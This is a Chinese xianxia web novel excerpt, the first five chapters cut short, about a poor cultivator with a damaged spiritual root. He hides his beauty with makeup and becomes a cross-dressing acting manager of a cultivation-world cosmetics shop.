《我的美貌一文不值》 1. 第 1 章 《我的美貌一文不值》全本免费阅读 清漓山最初只是凡世一座名不经传的小山峰。 最初,此山甚至没有一个像样的名字,其藏于起伏错落的群山之中,常年云雾绕缭,林木葱郁,雾气浓密处凝聚成雨。因雨落之后满山的草木舒展,青翠欲滴,润泽可爱,山林间渐渐生出少许灵气,因此得名清漓二字。 这天,湛蓝天空忽然由晴转暗,无数厚重的黑云忽然汇聚而来,沉沉地压住了天光,一时间仿佛日夜颠倒。 这是渡劫的天象变化。 看这天象,应该是四九小天劫。 墨色的天幕下,震耳欲聋的轰隆声从天边滚滚而来,厚重的聚的劫云蔓延天际,逐渐汇聚成光芒闪烁的巨大雷电漩涡。随后一道声势浩大的黑色劫雷破空劈至山崖,紧随着第二道,然后是第三道。 在巨大的轰鸣声中,劫雷伴随的异火在坠落中点燃了悬崖边的成片树林,异火出现之时雷光竟然凝滞了片刻,随后竟无比诡异地于半空中炸开。熊熊的赤色火光在震耳欲聋的爆炸声中迸出无数刺眼的光点,仿佛夜幕中炸开的烟花,耀眼灿烂又致命,落地而燃,爆出火光一片。 · 圆月初生,万籁俱寂。 殷夏在一片水潭边恢复了意识。 这次天劫并非普通的晋级金丹期的雷劫,不但因异火提前中断,天雷炸开的一瞬,竟铺开一片热浪滚滚的红色火海。逼无可避之下,殷夏撑开所有余下的灵气给自己架起灵气罩。不断有猩红色的火焰舔上薄的透明的灵气罩,映得罩子染上一片血红。 现在看来,先前当机立断转身跳下山崖,属实是死里逃生。 雨落银丝,寒雾绕缭,殷夏在在潭边席地而坐。 看着被天雷劈得破烂的外套,他叹着气从储物袋里拿出了件兼具攻击和幻容的法衣。因除尘术用了太多次,法衣略微泛白。若此时有其他修士,看到这朴素简陋的法衣,便知其是一穷二白的散修。 月光如银,殷夏的脸色在一片夜色中显得更为苍白,却又莹莹生辉,仿佛上好质地的玉石。 他穿好衣服,又服下一瓶补灵丹,恢复了小半的灵力,而后凝神静气,细细检查自己的身体状况。 内视的景象让他大吃一惊,木属性灵根顶部被劫雷劈焦了一节,点点火星明灭闪烁,正一点一点的向下蚕食着剩余木灵根。 这样下去他只会成为一个止步于筑基期的修士,最好的结果莫过于寿元耗尽,在某个不知名的角落老死。 殷夏无门无派,是个名副其实的散修,穷的响叮当。虽然长了一张对于男修而言过分漂亮的脸,但对于他而言没什么助益,反而招来无数狂蜂浪蝶。 原本千辛万苦得以筑基,压缩大量原本用于修炼的时间,接大大小小的任务换取灵石,去各种秘境冒死采集珍稀草药洗经伐髓,终于摸到金丹的门槛。无数散修穷极一生也不过炼气,由于自己的灵根是上佳的木灵根,在修行方面事半功倍,殷夏常常满足地觉得自己运气比他们好一点。 但没想到金丹期雷劫来得这么猝不及防,在做完一个除妖任务回程的途中,殷夏忽然隐隐发现金丹有凝成的迹象,身无长物的他知道附近有一个名叫清漓山的地方,山间略有灵气。抱着不过一死的想法他回身飞往清漓山,刚落至山顶,便见阴云密布,电闪雷鸣。意料之中的凶险万分,差点丢掉小命。 现在虽然捡了一条命,但灵根的状况不容乐观。 灵根受损,感悟天地灵气随之受阻,修行起来事倍功半,再难寸进。当务之急就是要治好自己的木灵根,或者至少要弄清楚灵根目前的受损状况。 必须得去一趟仙市。 但却不宜急着出发,殷夏先是伸手从储物袋掏出了一面镜子。 镜中人有一张如温雅却惑人的脸庞,湛然有神的眼睛配了微挑的眼尾,偏淡的双唇柔软润泽。整个人的气质矛盾却又恰到好处,看着无端惹人心痒。 捏着墨笔,殷夏先拉出一条黑线压下眼尾翘起的弧度;接着修长手指点了胭脂水粉调匀,将调好颜色的脂粉敷于面上,将皮肤绘成粗糙暗淡的质地;最后将浓淡相宜的眉涂成粗粗一条,顺带将嘴唇抹成干裂的效果。 一番下来,虽然还是那张脸,但惑人心神的气质已经变得憔悴无害,殷夏满意地将悬在空中的小镜子收起。 不怪他如此谨慎。平时接的任务基本与自身修为相当,法衣的幻形咒基本不会露馅。但在即将前往的仙市之中修仙者不知凡几,往往擦肩而过之间便是刀光剑影。 虽然仙市中有大能坐镇,仙市之主也早已规定了明确的秩序法则进行管理,但在修仙界,实力在某种程度上而言就是难以反抗又明目张胆的特权。而他所着低阶法衣上的幻形咒不过是个普通法术,在修为高的修士面前宛如虚设。 这次金丹雷劫渡劫失败,目前灵根受损,仍是筑基大圆满。修为低微者如自己,在强者辈出的偌大修仙界,还是识相规避才可安然无恙。 趁着夜色,殷夏凝起灵气,施展缩地成寸之术,往距离最近仙市的方向而去。 · 仙市在凡世城池之内一方不起眼的角落,与世俗红尘相伴而开。 仙市的入口在没有修行的人眼里只是一个普通的雕花石屏,但在修仙者看来,其实是一座集攻击与防御一体的大型阵法,无数威力巨大的符箓镌刻其上,随着阵法运行规则而流转无数道光圈。 修行之人缴纳一定的灵石,并经过守卫确认后,就能够进入其中。 从前修仙之人大多有门派归属,没有仙市一说,即使有交易也全是地下秘密进行,时常在茶余饭后传出一手交货却再也没命拿钱的不知真假的消息。 直到后来出现了一名神秘的白衣女修,她自称沈卿缘,修为高深莫测,不知师从何派。做事风格胆大心细,雷厉风行,想法新奇多变,最难得是能够敏锐准确地抓住不同修士的交易需求。 一开始沈卿缘韬光养晦,并不出挑,只开女修最爱的成衣铺子、首饰铺子和胭脂水粉铺子,在受到各门派女修的疯狂追捧之后,一连开了无数分店。之后她渐渐的以此为线,铺子越开越多也越她开越大,名下拥有了如客栈、酒馆、交易行等,汇聚了各类五花八门却又无比齐全的产业并形成了初具规模的仙市。 经过与固步自封的各门各派在多次周旋谈判,加上这名白衣女修手上拥有的财富已足以影响修仙界的运转,她得以站出掌权成为仙市之主,并宣布成立仙市,与各大宗门达成了互惠互利的协议。 大概所有混迹修仙界的散修都对沈卿缘存了一分感激的心情,殷夏也不例外。即使他没有拜入任何门派也能出入仙市,并进入仙市特有的藏书阁,对于无门无派的他来说,无异于雪中送炭。 越到夜晚,仙市越加热闹繁华。 殷夏缴纳了灵石,过了大门处守卫的检查。 殷夏想着先去藏书阁碰碰运气,自己的灵根状况实在罕见,如若自行查不出所以然来,再在去仙市中的医馆找个专精疗愈术的医修看看。 他避开最为拥挤的街道,熟稔地抄了条小路,纵身疾行,不多时便已至门口。 藏书阁外又是一道识别身份的屏障,殷夏分出一丝极细的灵力输入进去,屏障光环亮起后由浓转淡,像是融入一汪温水一般,他迈步而入,没有任何阻隔。 藏书阁外看似不大,阁内却灯火通明,设计的甚是精巧。各个藏书区域用符术构建出无数空间,这些空间经过压缩折叠,储存了浩瀚无匹的藏书。不过这些藏书都是修仙界最基础的通用常识等书籍,想要获得稀有书籍,仍需要等到秘境开放、门派大比、珍品拍卖甚至天降奇遇等等,因此任意一本高阶心法仍 2. 第 2 章 《我的美貌一文不值》全本免费阅读 殷夏不答反问:“如果我的灵根能保持现状不继续恶化,还有进阶金丹的可能吗?” 圆脸医修摆摆手:“我明确告诉你,你这个状态大概等于普通三灵根,而普通的三灵根才刚刚达到一些大的门派招收弟子资质要求的最低标准,进步空间少之又少。” “待我问你,你灵根上的火焰又是从何而来。” “秘境之中。”殷夏面不改色地扯了个谎。 并非不信任眼前医修,但天雷异火太过罕见,不如让他自行揣测。 “我给你开一道温养木灵根的药方,可以稳固现况,延缓木灵根被侵蚀的时间。”圆脸医修顿了顿,仔细瞧了瞧殷夏的脸色,确认他尚存理智,才接着说道:“在此期间,你须尽力寻找修复灵根的方法。否则,大道无缘。” 随后他递了张纸片:“此丹旨在固本培元,其中部分药材本医馆暂无可售。药草最晚于一月内尽快找齐,之后来医馆寻专人炼丹,不会再另收费用。” 殷夏向医修认真躬身道谢:“多谢先生了。” “无需多礼。本次问诊结束,你前往大堂付诊金即可。” 殷夏接过纸片,对照纸上神秘符咒一样的扭曲字体,再三与医修确定了所写是何药材,才收好纸张。 走出竹屋。傀儡小童已在外等候多时,见他出现,立刻上前侍候。 殷夏示意其往外引路,跟随其后,心里仍在琢磨着所缺药材一事。 其中两种草药分别是银盘草,金盏莲,外需一味银蝶粉为药引。据他所知,银盘草与赤尾蟒伴生,金盏莲应是在秘境之中,银蝶粉却不知何处才能寻得。 他算了算手中的灵石,预计还能购买一套备用的普通法衣,剩下的就只够一周的住宿费用了。 还是得重操旧业,去榜单上接几个降妖除魔的小任务,赚点零花钱。 · 仙市内最大的成衣铺子名叫锦绣坊,共分为三层。 第一层为低阶法衣,按属性区分且明码标价,每件衣服都可以用暗线绣入一道简单符咒。虽然此层衣物普通,样式简单,但店家乐意薄利多销,因此备受散修青睐。 第二层则摆放了中阶法衣,此类法衣较低阶法衣质地更为柔软轻薄,穿着极为舒适,中阶法衣可以叠加一道普通符咒,适合对衣物有更高要求的男修以及爱美的女修。 第三层对进入修士的修为有了更为严格的要求,且只供金丹以上的修士进入。 高阶法衣数量稀少,每一件都是能工巧匠花费大量心血制作而成,而且只能成套购买。据说此层楼内清雅别致,四周粲然生光,更有貌美如花的女修端上灵茶香果上前接待。 殷夏在第一层逛了一圈,考虑到目前进阶无望,便从架子上挑了件防御法衣,这衣服耐脏耐用,能避免因频繁使用避尘诀而褪色。 他在一旁的更衣区域换上新法衣。法衣会根据体型自行变化尺寸,非常合身,掌心凝起部分灵力尝试攻击自己,大致试出了法衣的防御效果。 他走出更衣区跟掌柜确认:“就买这件。”并递上十块灵石。 锦绣坊的掌柜是个美貌女修。 殷夏暗中凝神细看,却看不透她的修为。 她眉眼含情,轻言慢语道:“道友皮肤白皙,这件深色法衣非常适合道友呢。”说完后后却扑哧一笑,隔空点了点他的额头,为他施了个水镜术。 殷夏心想,我只是一个涂脂抹粉的普通男修而已,还用得着特地照镜子吗? 他疑惑地看了一眼水镜,而后恍然大悟。 大概是在藏书阁找书的时候把额边的粉蹭掉了,换了新衣后幻形咒也消失了。他恢复了原本的体型。但粗糙暗淡的小麦肤色中混入了一块白净的亮色,仿佛削了皮的土豆,确实有几分滑稽。 在高阶修士面前,易容只是小孩子玩的把戏。 掌柜收了水镜,随意调戏他:“道友既然生的好看,何不大方展示一下?下次购衣我可以给你打折哦。” 殷夏眼前一亮:“这次打折可以吗?” 掌柜笑意更浓,正想开口,忽然从楼梯上传来另一道声音:“仙子素来眼高于顶,谁还能让你觉得好奇?” 内阁处禁制忽然如水波般晃动,一名男子显出身形,铺天盖地的威压如洪水般倾泻出来。他穿着传闻中的高阶法衣,悬于空中,衣袂飘飞间洒下霞光点点,一看就自带强大的属性和高阶符咒,令人羡艳。 殷夏神色一肃,这人竟然是个元婴期的修士! 等级差距在修仙界体现的淋漓尽致,更何况差着两级,殷夏脸色惨白,手心全是冷汗,几乎站立不住。 女掌柜以手画圈,指尖凝出一捧灵光,往空中抛去。刹那间屋内仿佛下了一场金色光雨。被压制的低阶修士们顿觉全身一轻。 “来者皆是客,我这小店还要做买卖呢。” 该男修连连道歉,很给面子地撤了威压,却依旧没放过女掌柜口中的“好看修士”,转瞬便闪至殷夏的面前。他兴味盎然地盯着殷夏,眼神探究,像是盯上了有趣的猎物。 殷夏不动声色地往后退了一步,面对高阶修士的防卫意识瞬间开启,侧身从袖间滑出张可随时启用的传送符,悄悄捏在手心。 不料男修忽然发难,向他拍来一道灵光。 如此近的距离避无可避,身上新换的衣物尚未附加任何符文进行强化,他只来得及草草给自己套了层护体灵气。 在元婴修士的眼中,这套动作太慢,慢到足够将他的护体灵力流切断无数次。 强势袭来的灵光到了殷夏眼前却拐了道弯,随后化为一阵清风拂面。 殷夏预想中的重伤情况并没有发生。 元婴修士拍来的那道清风实为声东击西,声势浩大,却只是为了让殷夏露出真容。 他皱眉,有钱的修士果然很闲,有钱又修为高深的修士更擅长无事生非。 随风而散的,不止他面上暗沉的脂粉,还化去了两条粗眉上黑乎乎的眉粉,连仔细拉出的下垂黑眼线也一并消失了。 蒙尘的珠玉一朝现世,便足以惊艳众人。 ——似挑未挑的眼睛,似笑非笑的唇 3. 第 3 章 《我的美貌一文不值》全本免费阅读 这女子身着一尘不染的白衣,懒散地靠在离殷夏不远的大树下,伸手指向自己:“我,沈卿缘。很多人也会称我为城主,都可以,你随意。” 阳光暖洋洋的,殷夏从草地上起身,拍了拍满身的草屑,试图解释清楚:“城主大人,我并非有意闯入,而是意外被传送到这里的。” 沈卿缘微微点头,示意他说下去。 殷夏抿了下唇:“当时情况紧急才用的传送符,只是不知道是传送符出了问题,还是在传送的瞬间被攻击从而偏了传送位置。我被甩出了传送阵,睁开眼睛就在这了。” 城主慢悠悠地说道:“城内只能定点传送,用传送符随意传送是被禁止的。如今你用了,依照规矩,得罚你一百灵石。” 殷夏感觉手心的冷汗又开始往外冒了:“其实是事出有因。当时若非不是用了传送符逃跑,可能我此时已经被抓去做炉鼎了。” “你修为不高,却胆大心细,当机立断。”沈卿缘莞尔一笑:“我修为比那男修更高,你不怕我吗?万一我也生了心思要拐你当炉鼎呢?” 殷夏认真道:“城主开辟仙市,格局宏大深远。有了仙市,散修才有了容身之处。修仙界的美人千万,风情各异。您见多识广,却一心扑在生意上,可见是更享受商场杀伐,而非情情爱爱。” 沈卿缘起身走到殷夏面前,将他上下打量了一遍:“无论散修还是宗门弟子,撇开各种奇遇,只有在拥有各种修炼资源的前提之下,才能全神贯注于自己的道,走好大道上的每一步。” 她用指腹轻柔地捻去他脸上的黑灰,面上慢慢浮现出些许讶然,称赞道:“你的确让人见之难忘。但于我而言,却更看重你这张脸上的妆容。将好好的脸化的这么粗劣,还像清水芙蓉一样,确实得天独厚。我知道,你不愿走捷径去换取那些修行资源,但筑基修士寿命有限,你何时能修成金丹?” 殷夏苦笑,心想至少得等灵根恢复才有希望吧。 沈卿缘向远处望去:“我虽然我创立仙市,还开了很多铺子,但有的铺子开得红红火火,但此盛况之下,仍是有一些铺子存在亏损情况。毕竟是做生意,总会有一部分货品供不应求,另一部分却因为不受市场欢迎或者根本没有打开市场而长期滞销。” 她指向城中的方向:“那边是我新开的胭脂水粉铺子,名叫芙蓉阁,目前店里有一个掌柜管事。最初商定想用折扣的方式提高购买意愿,但反响平平,目前仍有许多存货堆在阁里的仓库中。我一直在找合适的人做代掌柜,最好既长得出挑,又心思细腻,敢于创新,达到短时间内清空库存的目标。” “如果你能做到,我能给出的修炼资源只多不少,具体要求你可以先提。” 可以跟城主谈条件? 他问道:“是不是只要把目前所有的存货卖了,我就完成了您的任务?” “没错。” “短时间是多短?” “这个月得卖掉,因为芙蓉阁已经要出新品了。” “给您做事的话,算是您部下。那能不能免了我罚缴的灵石?” “此事翻篇。”沈卿缘大度挥手。 “还有一事。先前我就是在锦绣坊买衣服的时候遇到了让我做炉鼎的男修,他已是元婴期,而芙蓉阁就在锦绣坊附近。”他欲言又止。 “惹是生非,我自会惩罚,接下来他会有一段禁入期,你不会在仙市见到他。最后,我再送个替死傀儡给你,能挡下元婴修士的三次攻击。” 她将一只手掌大小的傀儡娃娃往下一抛,娃娃落地而长,顷刻间变成一个眉眼弯弯的可爱模样。 沈卿缘捏捏傀儡的脸蛋:“这是最新款,你觉得如何?” 殷夏惊喜地绕着傀儡转了一圈,好奇问道:“我在医馆也看到了类似的傀儡。” “我做的傀儡娃娃都有编号,每一个号码就代表一个型号。型号不同,用途也不一样的。医馆的傀儡娃娃是服务型。一般只会带带路,倒点茶水,制作也不费事。但你的傀儡娃娃除了端茶送水的基本能力外,无论是在耗材上,还是功能效用上,与服务型傀儡都是天壤之别。” 殷夏一脸期待地搓手。 沈卿缘引导他将灵力输入进去,完成指令确认:“当然,它已经是你的了。” 一息后,傀儡娃娃睁开眼睛并灵活地转了两转。它双手交叉,恭敬地弯腰鞠躬,然后抬脸冲着他俩谄媚一笑,灿烂地像朵太阳花:“傀儡娃娃21号,竭诚为您服务。” “你给21号取个名吧,需要时候直接唤它。” 殷夏围着傀儡21号转了几圈,思考片刻后,从储物袋扒拉出眉笔,一手捧着傀儡娃娃的脸蛋,一手捏笔,轻车熟路地勾勾描描。 “就叫小葵花吧,笑的过于灿烂了,晃我眼睛。平时我让它端茶送水,像这样不起眼才干活方便。” 画好娃娃,殷夏收起眉笔,啪塔啪塔地拍掉手中余粉。 沈卿缘摇头道:“想要快点卖掉那些存货,上妆手艺首先得一等一的好。” 殷夏心虚地低头含胸,默默挨训。 沈卿缘与殷夏靠得很近,她的眼神专注地看来,流转着光华:“修士一言九鼎违,否则因果缠身。我这个大乘境护得住你这个筑基期代掌柜。此后,旁人滋事引起的所有麻烦都由我来解决,你不用担心。” 如此近的距离,她是真的只对自己隐藏的才能感兴趣吗? 虽然他化妆确实很熟练,但发展的并不是美妆的方向,也不太懂怎么推销产品。 忽然他感觉到草木清灵之气在二人之间愈发浓郁,疑惑道:“我前两天灵根受损,但自从来到城主府,体内异状平息了很多。” 于是抬手引出一道本源灵光,灵光宛如火焰般悬在空中,有着木灵根独有的青色火焰,但最外却显现出火灵根的灼热之气。 沈卿缘托腮道:“这倒是罕见。” “先前我去仙市医馆,医修给我开了一副固本培元的方子,尚缺部分药材。仙市的交易行每日交易无数,敢问城主是否见过银盘草,金盏莲,以及银蝶粉?” 沈卿缘从发髻上拔下一根金钗,其纹理清晰,做工精湛,栩栩如生。 殷夏惊奇道:“此金簪竟能压制我灵根异火。” 沈卿缘将钗子抛向空中,并指快速结出法印。 金钗在空中徐徐绽放,竟化为一朵盛开的金色莲花。其上萦绕着浓郁的清气,正是先前几次令殷夏感觉熟悉的气息。 “此钗非钗,实为金盏莲。其气息确可压制你体内一部分异火。但金盏莲只出现在岩浆沸腾的秘境之中,开花后立即凋 4. 第 4 章 《我的美貌一文不值》全本免费阅读 “首先来看这块杏黄色粉饼。” 她点了点殷夏的脸颊,沾取一点后示意大家注意:“看到了吗,这种质地的粉质粗糙,大家自行购买的时候一定要注意避开。因为粗糙的粉饼不适合上妆,上妆之后也不服帖,这种粉质上脸只会让你的脸像白墙一样,稍微碰一下,粉粒就会簌簌往下掉。” “我再纠正一下这块粉饼的使用误区。” 她招来一阵轻风,风过无痕,但修士五感敏锐,于是眼睁睁地看着殷夏的脸上扬起一片杏黄色粉末尘雾。 “一个完美的妆容必须要注意脸上的细腻与洁净。最好选用清香又细腻的粉饼,少量多次蘸取上妆,用按压的指法将粉扑匀在脸上,不放过每一个角落。” 她指了指殷夏:“而这位上台的同学,先是选错粉饼,之后又选错颜色,连续犯了两个错误。从完妆效果上可以看出,他意识到了涂匀这个点,却因上妆手法不当,修修补补涂了太多次才达到了实际均匀的效果,这是第三个错误。” “其实我的眼妆画的还可以。”殷夏试图为自己辩解。 女讲师露出一个微笑:“这也是我接下来要说的地方。你为什么要用炭黑色的眉笔画眼线?” 殷夏无措:“因为我就只有眉笔。” “又为什么把眼线拉到卧蚕下面?” 殷夏睁眼说瞎话:“现在非常流行这种妆容,能营造出独树一帜的感觉。” 其实不是,只是因为他长时间化这种眼线画习惯了,忍不住就一笔勾了下去。 女讲师衣服犹豫,觉得他的话有几分道理。但看来看去,一拍桌子:“别给我乱扯!你是上扬的眉眼,勾描眼线应该顺着眉眼轮廓,才能加强眼睛的神采。硬要往下拖眼线,只会适得其反。” 底下同学连连点头,开始疯狂记重点笔记。 “关于你的眉毛……” 对方叹气:“不用画蛇添足,按照天然眉形修一下就行。另外你的口脂色号赶紧换个正常的,涂口脂时不要随意往嘴巴上涂太多太慢,抹完也要注意。” 她说着说着就急躁起来:“你看颜色都溢出来了!要用刷子,刷子!”,她暴躁地从竹罐中精准捞了一把刷子出来:“就用这个。” “好的好的。我现在就修改……” · 殷夏被留堂。 女讲师站得有些累,她往椅子上一仰,光亮的额头下是拧着的柳眉。 “之前城主跟我传音,说有个新来的代掌柜会来上课,资质优秀又很有潜力,务必让我好好带着,就是你吧。” 可是新来的这位分明一窍不通,而且审美不佳,只能先好好打基础。 “大概是我,但你说的那个很厉害的人又不是很像我。”殷夏说。 “今天上完课感觉怎么样?” 殷夏称赞:“受益匪浅,看到了很多没见过的化妆品,一点点细微的颜色差别都能在脸上出现天差地别的效果。” “其实不止是颜色……”女讲师艰难说到。 殷夏想了想:“美妆刷子也好多,我都没记住用法。” 她听了想吐血,这是什么外行人的回答? “城主之前看过你化妆吗?” 如果看过,怎么还会让他来这里上课呢,她的课上坐着的可都是各家美妆铺子的储备干部和现任掌柜! “算是有吧。”殷夏不太确定。 忽然他一拍脑袋:“对了,城主大人还给了我这个。” 殷夏转身大喊了一声“小葵花”。 听到声音,不远处的傀儡娃娃噔噔噔跑过来,笑眯眯的脸上是与殷夏如出一辙的上妆效果。 “城主看过它的妆,是我画的,也就算看过我化妆了。”殷夏道。 女讲师看着一人一傀儡,只觉得辣眼睛的程度翻了个倍。 殷夏苦苦回忆许久,忽然拍手:“对了我记起来,她说我让人见之难忘,如同清水芙蓉。” “就你这样的?!” 她默念咒诀,召来两只水团,像是报复一样,速度极快地一左一右拍在傀儡与他的脸上,像是透明轻薄的果冻黏住不动了,随后细密的泡沫像云朵般膨胀起来,直至变成雪白的一团,然后将他的脸糊了个严严实实。 “大话你别讲,先把这辣眼睛的妆容洗了。” 一盏茶后,殷夏的脸得以从疏松多孔的绵密泡沫中解放出来。他急忙去看小葵花,小葵花也张着忽闪忽闪的大眼睛看他,圆乎乎的脸蛋洗的干干净净,可爱的很。 殷夏垂头丧气。 女讲师双眼炽热:“这傀儡娃娃做的粉雕玉琢,可以确定的是,我们城主的审美一如既往在线。” 她瞧完娃娃又瞧瞧殷夏,“至于你,长得不错,但品味太差,我实在难以评价。” 殷夏:“不,城主的傀儡娃娃千金难换,重点怎么在长相上呢。再说我只是给城主做工的,不用顺带瞧我长相。” 她却自顾自地点头:“我明白城主的用意了,她这是反其道而行之啊。那既然这样,不如反个彻底。” 她立马向城主传音,请求城主有空的话,来此见上一面,有要事相商。 传音符在空中燃尽,殷夏被她带进到另一间屋子。 雕花木门缓缓打开,屋内明亮如昼,由内而外传来淡雅的熏香气味。再往里看,柜子架子挤挤挨挨,目光所及尽是无数精致又漂亮的衣物,还有工艺考究的金银头饰,坠着璀璨宝石的耳饰首饰。从内到外穿着打扮的装束一应俱全。 只是,全是女子的款式。 殷夏意识到不对,往门口方向拔腿狂奔。 没想到短短几步却怎么都跑不过去,他眼睁睁看着大门在眼前轰然关闭。 于是转而死命摇着傀儡娃娃的肩膀:“小葵花你是城主做出来的,肯定能联系到城主,我这条小命要交代在学堂了,快点快点传信给她!” 小葵花双手捂着脑袋天真无邪:“城主说马上到了呀。” 马上到的意思就是,俩人眼前突然出现一个吞吐光芒的法阵,叶卿缘从法阵中一脚踏出,狂风翻卷间,他被卷往屋子中间巨大的化妆镜前。 城主瞬移而去,双手压着他的肩膀,任他百般抵抗,将他摁在镜前的宽椅上,笑容和善:“你应该知道,来芙蓉阁买胭脂水粉的基本都是女修。” 殷夏侃侃而谈:“也是有男修的,只不过他们大多也是给心仪的女修选购礼物,自用的也有啊,就好比我自己,合适颜色的水粉也是保命的神器。” 沈卿缘无奈:“你那是极其少数,女修才是芙蓉阁最主要的顾客。” 殷夏:“但是这和带我来这有什么关系?” 女讲师接话道:“当然有关系。此次城主应我请求抽空前来,就是为了让你少走弯路,走上正轨。” “我都还没上路吧?其实都不急的。”殷夏干笑了一声,“城主能不能把 5. 第 5 章 《我的美貌一文不值》全本免费阅读 “看来不得不改一下原先的规划。” 沈卿缘笑容和善,召来茉茉:“只上一节课,殷夏化妆水平短时间内提升不了太多。你作为掌柜,又是他在学堂里名义上的授课老师,得辛苦一段日子,与他打好配合。” 茉茉委委屈屈咬唇。 本来当掌柜就已经很辛苦了,还得照顾看起来不靠谱的新人。她双眼含泪盯着沈卿缘,眼里充满着你怎么舍得随随便便把不靠谱的人塞给我的无尽哀怨。 沈卿缘略有点心虚地别开了眼睛:“我知道太难为你了,你看,这个月的绩效发你双倍如何?” 茉茉猛一抬头,双眼闪亮。先伸手比了一个二,然后又摊开另一只手掌比了个五。 沈卿缘挑眉微笑。 茉茉摆出一副不讲价的坚定表情:“我最近特别缺护肤品,特别是你芙蓉阁里要出的几款新品,我也不贪心,就跟你要五件。” 沈卿缘看穿她的小算盘,分外宽容:“去挑呗,五件以内,看上就拿走。” “城主英明!” · 殷夏倚着芙蓉阁二楼的栏杆,垂眸远眺。 他低头,又仔仔细细翻了一遍手中的产品目录册子,认真琢磨了半天。 沈卿缘一离开,他灵根上的异火又猖狂起来,时不时传来一阵抽痛。 他知道这是金盏莲不在身旁镇压异火的缘故。 虽然只有寻找到金盏莲,才能凑齐三味药材炼制丹药。但完成城主交代的清空库存任务的是眼下更重要的事情,须仔细思虑,抓紧时间。 信念感对于一个代掌柜而言非常重要,尤其当他还是一个需要在男扮女装工作的代掌柜。女修的窈窕身段与娇软笑语他学不来,但是已经拿了城主的小葵花傀儡娃娃,又被城主用另外两味药材勾住,他总得打起精神做好城主交代的事情。 “噔噔噔……噔噔噔……“ 傀儡娃娃小葵花哼哧哼哧地地爬上楼梯,手里捧着半人高的盒子,殷勤献宝:“主人,这些给你。” 殷夏看了一眼:“嗯,放地上吧。” 先前他命令小葵花按照每个种类各拿一件的要求拿好送来,核对后,目前所有待售的存货,包括胭脂、口脂、粉饼、眉笔、蔻丹、香膏等等,都在这个巨大的盒子里,分毫不差。 小葵花确实乖巧好用,就是沈卿缘的定价太高,贵的让他心痛。 他转念一想,先前给小葵花早早取了名字,但自己却一直被叫“主人、主人”的,于是交代道:“小葵花你听着啊,以后只准叫我仙子,不准再喊主人了。” “好的仙子~”小葵花甜甜地答应下来。 一旁在桌边吃着茶点的茉茉扑哧一声笑了出来,没想到茶点太大块,差点被卡住喉咙,一阵手忙脚乱地找茶杯倒水。 “咳咳,还好茶水是凉的。” 她猛灌了一大杯水,惬意地仰在椅子里,指了指小葵花:“乖孩子,再喊一遍听听。” 小葵花不解地看向殷夏的方向,然后歪了歪脑袋。 殷夏无奈摆手:“没事。” “好的仙子~仙子要的东西我都拿齐啦,还有什么需要小葵花做的吗?” 茉茉笑得更夸张了,涂了鲜红口脂的嘴巴张开,吓得小葵花悄悄得小碎步挪到了殷夏身后。 殷夏举着手臂,左右侧身看了看自己身上的裙装,对茉茉解释道:“让它喊仙子的话,我比较有代入感,能更好地适应女装。” 茉茉把剩下小半块茶点扔进嘴里嚼嚼嚼,心道,脸皮真厚,确实是个人才。 殷夏指了指半人高的盒子:“这些我都跟城主申请过了,可以派上用场。店内特地让出了前排的展柜,做了个台子,台上可以放货品和柜子,方便进行现场售卖。” 茉茉点头:“嗯嗯,最前排的位置都拿到手了,挺有气势。需要我配合的地方尽管说。” 拿了城主的东西,她现在大气又包容,配合一下得力干将是做掌柜的职责不是吗。 殷夏坐在桌旁另一边的凳子上,裙子像朵花儿一般散开,他点头道:“确实有需要的地方……” 于是一手铺开手边的纸张,一手执笔,互相讨论起来。 · 讨论完后已经快傍晚了,街上人头攒动,络绎不绝。 从二楼栏杆向外看去,精心装扮的女修们成群结对,热切地挽着手聊着天,往芙蓉阁的方向走来,可见城主所说前两天的宣传有一定的影响力。 殷夏展颜一笑,整了整描金绣花的领口与袖口,拎起裙摆下楼。 茉茉用丝绢仔细抹干净腮边的碎屑,再点了点手上金闪闪的镯子,将小葵花搬来供以的全部样品一股脑打包带走,施施然跟随在殷夏身后。 殷夏倚着栏杆,饶有兴趣地盯着她腕上手镯瞧了两眼。叹道:“这只镯子倒是方便,也是城主做的吗?” 茉茉抬起手臂:“那当然,我专门跟城主要来的,用途很多。修仙界储物空间那么方便,店内货品很容易遭到大规模失窃,所以普通储物袋根本放不进店内东西。只有持有城主打入神念的特殊储物镯才能将店内货品收入其中。作为掌柜,用它收拾货品方便的多。” 交谈间已至楼下。 今日发布新品的消息已经由沈卿缘提前几天透露了出去,这两天已经不断有同行前来打探情况,也有不少逛店的女修结账时随口问过。 殷夏走在前,还未至楼下,就已经听见女修们或笑闹或窃窃私语。 他回头朝茉茉示意,茉茉赶忙快走两步跟上。 光洁透明的水晶灯高低错落地悬于屋内的每个角落。大堂内已经挤满了熙熙攘攘的女修,在展柜面前或停或走,难掩脸上的兴奋之情。 殷夏自楼梯上款款而来,一身华紫,衣袂翩然。他面带笑容,步履轻巧,行走间光影浮动,暗香悠悠,充满了感染力与风情。 四周已经窃窃议论起来,满心好奇这个新来的美人是哪位,又是做什么的。 直到他走上专为新品柜台撘出的一个小型展台上,屏气凝神的瞬间之后,众人的声音彻底放开。 眼前“女修”有着落落大方的姿态与从容的气质,搭配上那样漂亮又个人风格独特的一张脸,在店内引起了足够的轰动。现在她们不仅仅是好奇店内具有新奇功效的新款品类了,对美貌异常的主持人的好奇心也是达到了顶峰。 殷夏在台上站定了一瞬,很满意这个开头,之后抬起手,在一片光芒闪烁中解开了柜上的禁制。骨节匀称的双手伸入柜中,小心地端出一只托盘,盘上摆着一只细腻如脂的玉瓶。 玉瓶与细腻如瓷的双手相得益彰。 他向众人介绍:“首先,这次发布的新品是本店隆重推出的蓝星藻泥。” “蓝星藻是一类潜藏在深海内很危险的藻类,它们的叶片在水中散开时看起来像丝带一样柔滑,但在抓捕猎物却充满了爆发性力量,紧紧缠绞住猎物,从而完成他们的抓捕。但是我们芙蓉阁的研发人员在在偶然一次发现,蓝星藻的叶片柔滑而富有弹性,很适合往美妆方面拓展研究,之后经过本店独家研发与调配,制成此次的新品蓝星藻泥。只需使用时取出适量涂抹于脸部,然后均匀推开,等藻泥成膜后揭下,就能够深层清洁肌肤,还有显著的焕颜功效。” 台下的女修们纷纷睁大了眼睛,目光炽热地盯着他手中的玉瓶,盯得他手掌都有点发烫。 紧接着,他走到另一只展柜边,并指一抹消除禁制后,拿出另一只呈现出淡淡粉色的透明方形小罐,拔开瓶塞,一阵馨香缓缓散开。 殷夏转身向众女修微笑道:“本店的新品可不止于蓝星藻泥,下面请大家随我一起,来看我手中的这罐粉樱果蔻丹。” 